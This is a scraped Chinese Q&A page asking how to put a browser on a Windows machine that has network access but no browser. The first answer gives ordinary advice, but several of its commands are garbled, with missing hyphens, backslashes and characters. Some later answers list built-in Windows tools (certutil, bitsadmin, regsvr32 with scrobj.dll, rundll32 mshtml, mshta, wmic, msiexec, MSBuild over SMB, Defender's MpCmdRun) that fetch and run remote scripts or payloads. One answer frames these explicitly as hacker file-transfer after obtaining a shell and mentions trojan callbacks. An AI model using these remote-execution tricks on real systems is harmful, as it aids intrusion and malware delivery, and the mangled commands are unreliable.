问题

一台已联网但没有任何浏览器的Windows机器如何装上浏览器?

回答
这确实是个有趣的问题,想象一下,你有一台能联网,但却没有浏览器的Windows电脑,这感觉就像是家里有电话线却没电话机一样,能上网却看不见世界。不过别担心,办法还是有的,虽然听起来有点绕,但一步步来,你就能给它装上浏览器。

首先,咱们得明确一点:没有浏览器,你可能连下载新软件的界面都找不到。 所以,我们的第一步,也是最关键的一步,就是 利用现有的联网能力,想办法把安装文件弄进来。

第一招:U盘大法——最直接也最靠谱

这是最经典也最稳妥的方法了。

1. 找一台有浏览器的电脑: 这个很简单,你现在能看到我的回复,说明你正用一台有浏览器的设备呢。用它来操作。
2. 下载浏览器安装包:
打开你正在使用的电脑上的浏览器。
在搜索框里输入你想安装的浏览器的名字,比如“Chrome”、“Firefox”、“Edge”、“Brave”或者“Opera”。一般来说,选择一款主流的浏览器会比较方便,它们通常有清晰的下载页面。
搜索结果里找到浏览器官方网站的下载链接,比如谷歌的Chrome官网、火狐的官网等等。务必从官方网站下载,这是保证软件安全最重要的一步。 别去那些下载站或者论坛,很容易下到带病毒的东西。
找到“下载”或者“Download”按钮,点击它。通常会有一个“下载Chrome(适用于Windows)”这样的选项。
下载的文件一般是`.exe`格式的安装程序,比如 `chrome_installer.exe` 或者 `Firefox Setup.exe`。把它下载到你电脑的某个容易找到的位置,比如“下载”文件夹。
3. 准备一个U盘: 确保你的U盘里没有重要文件,因为我们可能会格式化它(虽然现在下载的安装包一般都很小,但为了保险起见)。
4. 把安装包复制到U盘:
把U盘插到你现在这台电脑上。
打开“文件资源管理器”(就是那个黄色的文件夹图标),找到你刚才下载的浏览器安装程序。
右键点击这个安装程序,选择“发送到” > “你的U盘盘符”。
5. 转移到目标机器:
把U盘从这台电脑上拔下来,然后插到那台没有浏览器的Windows电脑上。
在那台电脑上,打开“文件资源管理器”,找到U盘的盘符(通常是D盘、E盘或F盘)。
在U盘里找到你之前复制的浏览器安装程序。
6. 安装浏览器:
双击那个安装程序。
Windows会弹出一个用户账户控制(UAC)的提示,询问你是否允许此应用对你的设备进行更改。点“是”。
然后就是正常的浏览器安装过程了。跟着屏幕上的提示一步步操作就行,通常是点“下一步”、“同意”、“安装”,最后点“完成”。
安装完成后,你应该就能在桌面上或者开始菜单里看到新浏览器的图标了。双击打开,你就可以畅游互联网了!

第二招:命令提示符(CMD)——进阶玩家的首选

如果你觉得U盘大法有点麻烦,或者想尝试一下更“技术范儿”的方法,命令提示符也能办到。这需要一点点胆量和对命令的熟悉度。

1. 启动命令提示符:
在那台没有浏览器的Windows电脑上,按下 `Win键 + R` 组合键,打开“运行”对话框。
在运行框里输入 `cmd`,然后按回车键,或者点击“确定”。你会看到一个黑色的窗口弹出,这就是命令提示符。
2. 下载文件的命令(需要工具):
问题来了:在CMD里,我们没有浏览器,怎么下载东西?这时候就需要借助命令行下载工具了。Windows自带了一个叫做 `bitsadmin` 的工具,虽然有点老,但能用。不过,更常用、更方便的是 `curl` 或者 `wget`。
情况一:Windows 10/11 系统自带了 `curl`。
你可以尝试在CMD里直接输入 `curl version` 来看看它是否可用。如果能显示版本信息,说明就有。
有了`curl`,下载就很方便了。你需要找到你想要下载的浏览器的直接下载链接。这个链接通常指向一个 `.exe` 文件,而且不能是那种需要点击按钮才能开始下载的页面链接。你需要找到那个实际的下载地址。
举个例子,假设你想下载最新版的VLC播放器(它比浏览器小很多,测试更方便),你可以这样搜索它的直接下载链接。找到链接后,命令可能是这样的:
```cmd
curl o vlc_installer.exe "http://download.videolan.org/vlc/3.0.20/win64/vlc3.0.20win64.exe"
```
`o vlc_installer.exe` 是指定下载后保存的文件名。
后面的 `"URL"` 就是那个直接下载链接。
找到浏览器官方的直接下载链接可能需要一些技巧。 你可能需要在另一台电脑上,通过浏览器进入下载页面,右键点击下载按钮,选择“复制链接地址”,然后看看这个地址是不是一个可以直接下载文件的`.exe`链接。如果不是,你需要再仔细找找。
情况二:Windows版本比较老,或者系统精简,没有自带 `curl`。
这会稍微麻烦点。你需要在 有浏览器的电脑上,下载 `curl` 或者 `wget` 的Windows版本。这些工具通常有便携版(portable version),下载下来解压后,直接把那个可执行文件(比如 `curl.exe` 或 `wget.exe`)复制到U盘里。
然后,再把这个 `curl.exe` 或者 `wget.exe` 文件复制到那台没有浏览器的Windows电脑上,最好是放在一个方便访问的目录,比如 `C:WindowsSystem32` 目录下(这样在任何地方都能直接调用它,不过这个操作需要管理员权限)。
之后,再按照情况一的方法,使用 `curl` 或者 `wget` 进行下载。
3. 执行下载和安装:
一旦你成功地用命令行下载了浏览器的 `.exe` 安装包,并且它在你当前命令行的目录下(或者你指定了完整路径),你就可以像在文件管理器里一样执行它了。
在CMD里输入下载好的文件名,比如:
```cmd
chrome_installer.exe
```
然后按回车键。同样,如果弹出用户账户控制(UAC),确认即可。
安装过程会弹出图形界面,按照提示完成即可。

第三招:利用Windows自带的搜索和下载功能(限定情况)

这个方法比较依赖Windows的版本和一些隐藏功能,不是所有机器都适用。

1. Windows Update 潜在的助手: 偶尔,Windows Update 会在更新过程中提示你下载一些推荐的应用程序,但这个很少会直接让你选择安装浏览器。不过,在某些版本的Windows里,你可能可以通过“设置” > “应用” > “可选功能” 里找到一些基础的网络组件,但这并不能直接安装浏览器。
2. PowerShell 的下载能力: 现代的Windows版本(Windows 10/11)都自带了 PowerShell,它比 CMD 功能更强大,也内建了下载能力。
按下 `Win键 + R`,输入 `powershell`,按回车。
同样,你需要找到浏览器安装程序的直接下载链接。
在PowerShell里,你可以使用 `InvokeWebRequest` 命令来下载文件。命令格式大致是:
```powershell
InvokeWebRequest Uri "http://download.example.com/browser.exe" OutFile "browser_installer.exe"
```
`Uri` 后跟下载链接。
`OutFile` 后跟保存的文件名。
下载完成后,你可以在PowerShell里直接执行下载的文件:
```powershell
.rowser_installer.exe
```
(注意前面的 `.` 表示当前目录下的文件)
然后按照提示完成安装。

几点重要的提醒和经验之谈:

安全第一: 无论你用哪种方法,务必从官方渠道下载。浏览器是访问互联网的“门”,如果门是坏的,进去后的一切都会危险。
耐心和细心: 找到浏览器官方网站的直接下载链接可能需要一点时间。命令行操作更是要非常小心,一个字母、一个数字的错误都可能导致失败。
管理员权限: 有些操作,比如把下载工具放到 `System32` 目录,或者安装某些软件,可能需要管理员权限。确保你登录的是管理员账户,或者在执行需要权限的操作时选择“以管理员身份运行”。
备用方案: 如果你实在找不到浏览器官方的直接下载链接,可以考虑下载一个轻量级的下载工具(比如aria2,它也有便携版),然后用它来下载浏览器安装包。
病毒扫描: 在从U盘启动安装程序前,最好先在有浏览器的电脑上用杀毒软件扫描一下U盘里的文件,以防万一。

总而言之,在没有浏览器的情况下给Windows机器装浏览器,最直接有效的方法还是利用U盘来传递安装文件。命令行的操作虽然炫酷,但对用户来说门槛更高,也更容易出错。不过,掌握了这些方法,你就能在各种“极端”情况下解决问题了,这本身就是一种乐趣。祝你安装顺利!

网友意见

user avatar

微软最失败的地方(之一)就是:截至目前这个问题下有十三个回答了,居然没有一个人想起来Windows是有应用商店的。

连winget都有好几个人提了,都没人想到ms store,微软得好好反思一下。(评论说问题是win7的,说的好像winget就能在win7用似的)

(更骚的是,自己家商店里没有自己家的Edge)

user avatar

如果是要怀旧的话,我告诉题主:当年,当互联网刚开始流行的时候,PC装机的最重要软件就是CuteFTP。

我们一般靠口口相传记住各大FTP站点。各企业与高校有不少FTP站点。同时,那时候的软件光盘也常常会印刷一些常见FTP站点的地址。

事实上,与现代的搜索引擎或者门户网站类似,当时也存在一些用于收录其它FTP站点列表的FTP站。你可以到那个FTP站点上去下载含有其它FTP站点列表的文件。

当时几乎所有的常用软件都可以从各大FTP站下载。包括IE跟Netscape。

所以这个问题的答案最常规的就是FTP。

--

由于当时的电脑不会标配电子邮件的软件,所以就算收邮件,也是需要先用ftp下载一个电子邮件客户端的。所以电子邮件并不算是标准方法。

不过,现在的操作系统都自带的电子邮件软件。所以,自然也可以通过电子邮件请他人发送软件过来。

--

基于http网页浏览器的文件下载站点,是很多年以后的事了。当时还是一件非常新奇的发现,而且由于它们的方便程度远远低于FTP,其实大家是不愿意用的。

http下载站其实只有一个好处:能放广告。而ftp站点属于纯公益。渐渐的,劣币驱逐了良币。ftp站点慢慢被人淡忘了。

user avatar


以 FEDORA 为例 (对了,没有人禁止您在 WINDOWS 里安装虚拟机)


CHROME BROWSER

       wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm     


       dnf -y install ./google-chrome-stable_current_x86_64.rpm     


OPERA


       wget https://download3.operacdn.com/pub/opera/desktop/78.0.4093.112/linux/opera-stable_78.0.4093.112_amd64.rpm     


       dnf -y install ./opera-stable_78.0.4093.112_amd64.rpm     



在 WINDOWS 里,

您可以用 EMAIL 客户端接收 URL

       MicrosoftEdgeSetup.exe  https://c2rsetup.officeapps.live.com/c2r/downloadEdge.aspx?platform=Default&source=EdgeStablePage&Channel=Stable&language=en      


也可以用 VISUAL STUDIO 自己做一个简单的浏览器或者客户端。

最后用这个 DIY 的浏览器或者客户端下载 MicrosoftEdgeSetup.exe



您也可以在 WINDOWS 里架设自己的 SMB(SMB不用安装盘)/TFTP 服务器(光盘里有),

在手机上安装 TFTP / SMB 客户端,

然后从手机, 上载 MicrosoftEdgeSetup.exe 到 WINDOWS。




您也可以打开 WINDOWS 电脑的蓝牙, 通过蓝牙从手机, 上载 MicrosoftEdgeSetup.exe 到 。


您也可以打开 WINDOWS 电脑的红外通讯, 通过红外口从手机, 上载 MicrosoftEdgeSetup.exe 到 WINDOWS。


WINDOWS

对于Windows 10 1803及以上版本,cURL现在默认在命令提示符中运行,所以你可以直接从那里使用它。把cURL的bin目录添加到Windows的PATH环境变量中,这样在命令提示符中输入curl时,Windows就能找到它。

通过在Windows运行对话框中运行systempropertiesadvanced(Windows键+R),打开 "高级系统属性 "对话框。点击 "环境变量 "按钮。可以通过右边的 "新建 "按钮。

C:UsersAdministrator>curl

curl:试试'curl --help'或'curl --manual'以获得更多信息


POWERSHELL?



       https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.1      



       https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65     


Windows文件传输


Powershell

Powershell 是 cmd.exe 的高级版,有脚本功能。默认安装在 Windows 7和2008及后来版本。可用Powershell 单行程序从 HTTP 服务器上下载一个文件,像这样:

       powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')     


powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')


值得留意的是:

必须对 URL 和 输出文件 用‘单引号’,用“双引号”是会撞板的, 别浪费几个小时去排错了,这用错引号是一个典型的 ID10T 错误。


Certutil.exe

Certutil 是最简单的, 传输文件到 Windows 的法子。Certutil.exe 最初是用于证书和CA管理,但现在被*用为文件传输。一旦设置好了 HTTP 服务器(手机也能运行 HTTP SERVER),只须在目标上运行这个命令:

       certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]      


VBScript

Visual Basic 脚本是另一种可来下载文件的东西。麻烦在于需要单独插入几十行命令来执行,尽管可以一次性复制粘贴,但还是很JB麻烦。 可是万一目标是WinXP或2003,用这法子可以救急。

下面是完整的脚本, 网上当然还有更好更牛屄的版本:


       echo strUrl = WScript.Arguments.Item(0) > wget.vbs  echo StrFile = WScript.Arguments.Item(1) >> wget.vbs  echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs  echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs  echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs  echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs  echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs  echo Err.Clear >> wget.vbs  echo Set http = Nothing >> wget.vbs  echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs  echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs  echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs  echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs  echo http.Open "GET", strURL, False >> wget.vbs  echo http.Send >> wget.vbs  echo varByteArray = http.ResponseBody >> wget.vbs  echo Set http = Nothing >> wget.vbs  echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs  echo strData = "" >> wget.vbs  echo strBuffer = "" >> wget.vbs  echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs  echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs  echo Next >> wget.vbs  echo ts.Close >> wget.vbs     


存盘以后, 就一条命令:


       run cscript wget.vbs http://ip-addr:port/file output-file.     



当然, 绕弯还可以绕得更大一些。用手机到 GITHUB 上复制粘贴别人的 JAVA 浏览器代码, 通过手机发给电脑。


       https://github.com/StaceyWhitmore/simple-web-browser-in-java/blob/master/SimpleMiniWebBrowser.java     




【未完待续】


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

俺没啥文化, 初中毕业,大伙都知道。俺不到一百万知友,才升10级。阅读总量没到一小步,不到一个亿的小目标。长期关注俺的知友知道, 俺不是专业的。俺也不是大佬。

俺是最业余的......笑话、神棍和论坛孤儿 ⚕

user avatar

1、直接用telnet发送HTTP请求。


2、Windows还有一个巨型漏洞没人说,也就是那个HTML帮助浏览器,当年输入法漏洞就是这货搞出来的。

所以直接运行:

       hh http://www.baidu.com     

就完了……

user avatar

好问题,这是一个典型的黑客问题,黑客最最常见的问题就是,在获取了一个非交互行shell之后,如何向目标电脑传递文件。

先介绍几种最常见的办法,也是之前很多答案提到过的办法。

powershell

       powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:downloada.exe');     

certutil

       certutil -urlcache -split -f http://github.com/3gstudent/test/raw/master/putty.exe  C:WindowsTemp1.exe     

bitsadmin

       bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:downloada.exe     

ftp

       ftp 1.1.1.1 get test.txt     

vbs

       Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET","https://www.baidu.com/img/flexible/logo/pc/result.png",0 xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "D:1.png",2     

保存为2.vbs双击即可。注意,vbs本质上是使用WScript.exe调用了Microsoft.XMLHTTP组件,在windows中,我们还有多种方式来调用Microsoft.XMLHTTP。

参考我以前写的文章

一个文件一条命令一个游戏

CScript/WScript

支持.wsh和.js后缀文件,同样可以调用Microsoft.XMLHTTP

1.wsh

       <package> <job  id="IncludeExample">     <script language="VBScript">                    vbs code </script> </job> </package>     

1.js

       var xPost = new ActiveXObject("Microsoft.XMLHTTP"); xPost.Open("GET", "https://www.baidu.com/img/flexible/logo/pc/result.png", false); xPost.Send(); var sGet = new ActiveXObject("ADODB.Stream"); sGet.Mode = 3; sGet.Type = 1; sGet.Open(); sGet.Write(xPost.responseBody); sGet.SaveToFile("D:\1.png",2);     

wmic

支持远程加载.xsl文件,可以调用Microsoft.XMLHTTP

       wmic os get /FORMAT:"http://192.168.1.1/1.xsl"     

Rundll32/Regsvr32/Cmstp

支持远程加载.sct文件,同样可以调用Microsoft.XMLHTTP

       regsvr32.exe /n /u /i:http://192.168.1.1/test2.sct scrobj.dll rundll32 javascript:"..mshtml,RunHTMLApplication ";o=GetObject("script:http://192.168.1.1/test.sct");window.close(); cmstp /ni /s cmstp.inf     

mshta

       mshta http://192.168.1.1/1.hta     

支持远程加载hta文件。xsl,sct,hta文件写法略过,和js基本一样不赘述。

csc

还有有答主提到过的,使用自带.net工具集csc.exe进行C#编译后下载文件

       C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /out:"download.exe" /platform:anycpu "download.cs"     

msiexec

同理,将安装程序打包成msi格式,可以用msiexec远程安装

       msiexec /q /i http://192.168.1.1/1.msi     


smb

       \222.22.22.222     

windows好用的smb协议自然也不能放过,虽然限定了局域网没有其他电脑,但公网smb一样可以使用。虽然因为大名鼎鼎的永恒之蓝,国内基本封掉了445端口。

MSBulidodbcconf等

建立在smb协议之上,更多的windows自带软件都可以进行远程加载文件

       C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe \222.22.22.222msbuild.xml Odbcconf /a {regsvr \222.22.22.2221.dll}     


当然,毫无疑问,你当然也可以利用这些手法,直接让windows电脑进行木马上线,然后向里面PUT文件。

甚至还可以利用某版本的Windows Defender帮我们下载文件

       C:ProgramDataMicrosoftWindows Defenderplatform4.18.2008.9-0MpCmdRun.exe -DownloadFile -url http://www.baidu.com/1.exe -path D:1.txt     

类似的话题

本站所有内容均为互联网搜索引擎提供的公开搜索信息,本站不存储任何数据与内容,任何内容与数据均与本站无关,如有需要请联系相关搜索引擎包括但不限于百度google,bing,sogou

© 2025 tinynews.org All Rights Reserved. 百科问答小站 版权所有